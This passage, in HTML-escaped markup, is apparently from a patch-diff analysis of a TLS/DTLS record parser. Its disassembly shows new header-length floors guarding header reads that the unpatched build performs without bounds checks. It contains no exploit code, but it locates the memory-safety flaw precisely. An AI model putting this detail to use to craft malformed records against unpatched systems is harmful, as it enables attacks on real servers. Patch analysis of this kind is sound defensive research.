&lt;span class="nt"&gt;0x1C000AEA9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r12d&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;re-check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;AFTER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;reads&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;0x1400016F8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x140001878&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="nt"&gt;0x1400016F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;record&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;length&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x14000170A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r10d&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cbBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overhead&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;before&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x14000170D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x14000187D&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;80090318&lt;/span&gt;
&lt;span class="nt"&gt;0x140001723&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;5&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NEW&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TLS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;floor&lt;/span&gt;
&lt;span class="nt"&gt;0x140001726&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1400018F3&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;5&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;80090318&lt;/span&gt;
&lt;span class="nt"&gt;0x14000172C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0FEh&lt;/span&gt;
&lt;span class="nt"&gt;0x14000174F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TLS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guarded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="nt"&gt;5&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x140001754&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x140001865&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0Dh&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;NEW&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DTLS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;floor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;13&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x140001868&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x140001908&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;0Dh&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;80090318&lt;/span&gt;
&lt;span class="nt"&gt;0x14000186E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nx"&gt;Bh&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;DTLS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;guarded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="nt"&gt;13&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x140001873&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nx"&gt;Ch&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched function contains no &lt;code&gt;cmp &amp;lt;length-register&amp;gt;, 5&lt;/code&gt; or &lt;code&gt;cmp &amp;lt;length-register&amp;gt;, 0Dh&lt;/code&gt; anywhere; the reads at offsets &lt;code&gt;0xB&lt;/code&gt;/&lt;code&gt;0xC&lt;/code&gt; and &lt;code&gt;3&lt;/code&gt;/&lt;code&gt;4&lt;/code&gt; are reached with only the cipher-overhead comparison in front of them. The patched function adds both floors before the corresponding reads.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Same fix, same two constants, at every record-parse entry point&lt;/strong&gt; (patched addresses; the corresponding unpatched functions contain neither compare):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Patched &lt;code&gt;cmp …, 5&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;Patched &lt;code&gt;cmp …, 0Dh&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TlsDecryptHandler&lt;/code&gt; @ &lt;code&gt;0x140001980&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x1400019FD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x140001A3A&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SslUnsealMessageStream&lt;/code&gt; @ &lt;code&gt;0x140001120&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x140001234&lt;/code&gt;, &lt;code&gt;0x14000154E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x140001385&lt;/code&gt;, &lt;code&gt;0x140001587&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SslUnsealMessageConnection&lt;/code&gt; @ &lt;code&gt;0x140004D50&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x140004F8F&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x140004FDC&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Unpatched header reads that these floors now guard (examples): &lt;code&gt;TlsDecryptHandler&lt;/code&gt; reads &lt;code&gt;[r8+0Bh]&lt;/code&gt;/&lt;code&gt;[r8+0Ch]&lt;/code&gt; @ &lt;code&gt;0x1C00051D9&lt;/code&gt;/&lt;code&gt;0x1C00051DE&lt;/code&gt;; &lt;code&gt;SslUnsealMessageStream&lt;/code&gt; reads &lt;code&gt;[rdx+0Bh]&lt;/code&gt;/&lt;code&gt;[rdx+0Ch]&lt;/code&gt; @ &lt;code&gt;0x1C00014F0&lt;/code&gt;/&lt;code&gt;0x1C00014F4&lt;/code&gt;; &lt;code&gt;SslUnsealMessageConnection&lt;/code&gt; reads &lt;code&gt;[rdi+0Bh]&lt;/code&gt;/&lt;code&gt;[rdi+0Ch]&lt;/code&gt; @ &lt;code&gt;0x1C000A8FC&lt;/code&gt;/&lt;code&gt;0x1C000A900&lt;/code&gt; — none preceded by a &lt;code&gt;&amp;gt;= 5&lt;/code&gt;/&lt;code&gt;&amp;gt;= 0xD&lt;/code&gt; compare in the unpatched build.&lt;/p&gt;
&lt;h3&gt;Finding #2 — &lt;code&gt;DigestKernelHTTPHelper&lt;/code&gt; loop tail (both builds; equivalent)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C00071E3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14000986B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r11d&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r11d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0FF&lt;/span&gt;&lt;span class="n"&gt;FFFFFCh&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1400098A4&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;skip&lt;/span&gt;
&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x1C00071F2&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;
&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r11d&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1400098A4&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;skip&lt;/span&gt;
&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x1C000721C&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="kr"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1400098A4&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;skip&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;both&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;indices&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stride&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bound&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
